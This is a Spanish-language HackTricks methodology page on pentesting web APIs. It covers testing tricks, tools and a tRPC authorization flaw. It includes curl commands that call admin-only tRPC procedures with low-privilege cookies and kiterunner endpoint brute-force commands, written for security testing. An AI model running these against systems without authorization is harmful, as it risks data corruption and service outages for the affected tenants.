Web API Pentesting
Reading time: 7 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Resumen de la Metodología de API Pentesting
El pentesting de APIs implica un enfoque estructurado para descubrir vulnerabilidades. Esta guía resume una metodología completa, enfatizando técnicas y herramientas prácticas.
Comprender los tipos de API
- SOAP/XML Web Services: Utiliza el formato WSDL para documentación, típicamente disponible en rutas
?wsdl
. Herramientas como SOAPUI y WSDLer (extensión de Burp Suite) son instrumentales para analizar y generar solicitudes. La documentación de ejemplo está accesible en DNE Online. - REST APIs (JSON): La documentación a menudo viene en archivos WADL, sin embargo herramientas como Swagger UI ofrecen una interfaz más amigable para la interacción. Postman es una herramienta valiosa para crear y gestionar solicitudes de ejemplo.
- GraphQL: Un lenguaje de consultas para APIs que ofrece una descripción completa y comprensible de los datos en tu API.
Laboratorios de práctica
- VAmPI: Una API deliberadamente vulnerable para práctica hands-on, cubriendo las top 10 vulnerabilidades de API de OWASP.
Trucos efectivos para API Pentesting
- SOAP/XML Vulnerabilities: Explora vulnerabilidades XXE, aunque las declaraciones DTD suelen estar restringidas. Las etiquetas CDATA pueden permitir la inserción de payloads si el XML permanece válido.
- Privilege Escalation: Prueba endpoints con distintos niveles de privilegio para identificar posibilidades de acceso no autorizado.
- CORS Misconfigurations: Investiga la configuración de CORS para su posible explotabilidad mediante ataques CSRF desde sesiones autenticadas.
- Endpoint Discovery: Aprovecha patrones de API para descubrir endpoints ocultos. Herramientas como fuzzers pueden automatizar este proceso.
- Parameter Tampering: Experimenta añadiendo o reemplazando parámetros en las solicitudes para acceder a datos o funcionalidades no autorizadas.
- HTTP Method Testing: Varía los métodos de solicitud (GET, POST, PUT, DELETE, PATCH) para descubrir comportamientos inesperados o divulgación de información.
- Content-Type Manipulation: Cambia entre distintos content types (x-www-form-urlencoded, application/xml, application/json) para probar problemas de parsing o vulnerabilidades.
- Advanced Parameter Techniques: Prueba con tipos de datos inesperados en payloads JSON o juega con datos XML para inyecciones XXE. También intenta parameter pollution y caracteres comodín para pruebas más amplias.
- Version Testing: Las versiones antiguas de la API pueden ser más susceptibles a ataques. Siempre revisa y prueba múltiples versiones de la API.
Autorización y lógica de negocio (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls
Los stacks modernos de TypeScript suelen usar tRPC con Zod para validación de inputs. En tRPC, protectedProcedure
típicamente asegura que la solicitud tiene una sesión válida (authentication) pero no implica que el llamador tenga el rol/permisos correctos (authorization). Esta discordancia conduce a Broken Function Level Authorization/BOLA si procedimientos sensibles solo están protegidos por protectedProcedure
.
- Modelo de amenaza: Cualquier usuario autenticado de bajo privilegio puede invocar procedimientos de nivel administrador si faltan verificaciones de rol (p. ej., background migrations, feature flags, tenant-wide maintenance, job control).
- Señal en caja negra: endpoints
POST /api/trpc/<router>.<procedure>
que tienen éxito con cuentas básicas cuando deberían ser solo admin. Los signups self-serve incrementan drásticamente la explotabilidad. - Forma típica de ruta tRPC (v10+): cuerpo JSON envuelto bajo
{"input": {...}}
.
Ejemplo de patrón vulnerable (sin verificación de rol/permiso):
// The endpoint for retrying a migration job
// This checks for a valid session (authentication)
retry: protectedProcedure
// but not for an admin role (authorization).
.input(z.object({ name: z.string() }))
.mutation(async ({ input, ctx }) => {
// Logic to restart a sensitive migration
}),
Explotación práctica (black-box)
- Registra una cuenta normal y obtén una sesión autenticada (cookies/headers).
- Enumera background jobs u otros recursos sensibles mediante procedimientos “list”/“all”/“status”.
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{}}'
- Invocar acciones privilegiadas como reiniciar una tarea:
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
-H 'Content-Type: application/json' \
-b '<AUTH_COOKIES>' \
--data '{"input":{"name":"<migration_name>"}}'
Impacto a evaluar
- Corrupción de datos por reinicios no idempotentes: Forzar ejecuciones concurrentes de migraciones/workers puede crear condiciones de carrera y estados parciales inconsistentes (pérdida silenciosa de datos, analítica rota).
- DoS vía agotamiento de workers/DB: Disparar repetidamente jobs pesados puede agotar los pools de workers y las conexiones a la base de datos, provocando interrupciones a nivel de tenant.
Herramientas y recursos para API Pentesting
- kiterunner: Excelente para descubrir endpoints de API. Úsalo para escanear y brute force paths y parámetros contra las APIs objetivo.
kr scan https://domain.com/api/ -w routes-large.kite -x 20
kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20
kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0
kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
- https://github.com/BishopFox/sj: sj es una herramienta de línea de comandos diseñada para ayudar en la auditoría de exposed Swagger/OpenAPI definition files comprobando los endpoints asociados del API en busca de autenticación débil. También proporciona plantillas de comandos para pruebas manuales de vulnerabilidades.
- Herramientas adicionales como automatic-api-attack-tool, Astra y restler-fuzzer ofrecen funcionalidades específicas para la seguridad de APIs, que van desde la simulación de ataques hasta fuzzing y el escaneo de vulnerabilidades.
- Cherrybomb: Es una herramienta de seguridad para API que audita tu API basada en un archivo OAS (la herramienta está escrita en rust).
Recursos de aprendizaje y práctica
- OWASP API Security Top 10: Lectura esencial para comprender las vulnerabilidades comunes de las APIs (OWASP Top 10).
- API Security Checklist: Una lista de verificación completa para asegurar APIs (GitHub link).
- Logger++ Filters: Para buscar vulnerabilidades en APIs, Logger++ ofrece filtros útiles (GitHub link).
- API Endpoints List: Una lista seleccionada de posibles endpoints de API para fines de prueba (GitHub gist).
Referencias
- https://github.com/Cyber-Guy1/API-SecurityEmpire
- How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.